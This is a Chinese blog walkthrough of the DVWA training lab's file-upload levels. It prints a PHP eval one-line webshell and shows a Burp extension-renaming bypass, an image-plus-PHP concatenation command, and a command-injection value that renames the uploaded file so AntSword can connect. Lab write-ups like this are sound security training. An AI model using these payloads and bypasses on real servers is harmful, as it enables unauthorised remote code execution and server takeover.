您现在的位置是:首页 >其他 >dvwa靶场通关(五)网站首页其他
dvwa靶场通关(五)
第五关 File Upload(文件上传漏洞)
File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限
low
low等级没有任何的防护
创建一个test.txt文件,输入下面一句话木马
<?php @eval($_POST['666']); ?>
然后改后缀名为.php,变成php文件,然后就上传该文件,返回一个路径
打开蚁剑连接,url就是根路径拼接上返回的路径
medium
这一关对文件类型和大小进行了限制,只能是jpg或者png格式文件,并且文件大小不能超过100000字节
上传刚才的php文件,提示只能上传jpeg或者png格式
那我们就把后缀改成jpg再上传,发现成功了,并且给出了上传的路径
继续用蚁剑连接,发现虽然上传成功,但是无法连接成功,单纯的图片马并不能直接和蚁剑连接,因为该文件依然是以image格式进行解析,只有利用文件包含漏洞,才能成功利用该木马
所以我们要换一个方法绕过前端的检测,我们选择test.jpg上传,然后burp suite抓包,把后缀名改成.php即可绕过前端的检测,上传一个test.php文件
上传成功了
这回连接成功了
high
查看源码,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpeg” 、”.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。发现仅仅后缀是图片格式的还不行,文件内容必须还得是图片格式的。getimagesize(string filename)函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错
我们找一张小一点的图片,和shell.php文件放在一起,同路径下输入cmd打开命令输入
copy 1.png /b + shell.php /a shell.jpg
成功创建一个shell.jpg文件
打开这个图片看,我们的php代码已经拼接到后面了
然后上传该文件
此时由于图片马中的php代码并没有被解析,所以不能直接使用蚁剑进行连接,这里可以通过命令注入漏洞将文件名改为php
打开命令注入漏洞的low等级,输入下面内容
127.0.0.1 |rename ....hackableuploadsshell.jpg shell.php
然后shell.jpg就被改成了shell.php
接下来就用蚁剑连接即可
impossible
可以看到,Impossible级别的代码加入Anti-CSRF token防护CSRF攻击,对上传文件进行了重命名为md5值,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。